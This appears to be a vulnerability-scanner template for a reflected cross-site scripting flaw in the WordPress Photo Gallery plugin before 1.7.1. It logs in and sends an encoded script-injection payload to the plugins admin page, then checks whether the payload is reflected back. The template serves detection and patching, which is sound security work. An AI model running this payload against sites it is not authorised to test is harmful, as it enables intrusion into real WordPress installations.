id: photo-gallery-xss info: name: Photo Gallery < 1.7.1 - Cross-Site Scripting author: ritikchaddha severity: medium description: | The plugin does not escape some URLs before outputting them back in attributes, leading to Reflected Cross-Site Scripting. remediation: This is resolved in release 1.7.1. reference: - https://wpscan.com/vulnerability/e9f9bfb0-7cb8-4f92-b436-f08442a6c60a - https://wordpress.org/plugins/photo-gallery/advanced/ metadata: max-request: 2 verified: true publicwww-query: "/wp-content/plugins/photo-gallery" tags: wp,wp-plugin,wordpress,xss,photo-gallery,authenticated http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 - | GET /wp-admin/plugins.php?%22%3E%3Cscript%3Ealert%28%2FXSS%2F%29%3C%2Fscript%3E HTTP/1.1 Host: {{Hostname}} cookie-reuse: true matchers-condition: and matchers: - type: word part: body_2 words: - '>' - 'Installed Plugins' condition: and - type: word part: header_2 words: - text/html - type: status status: - 200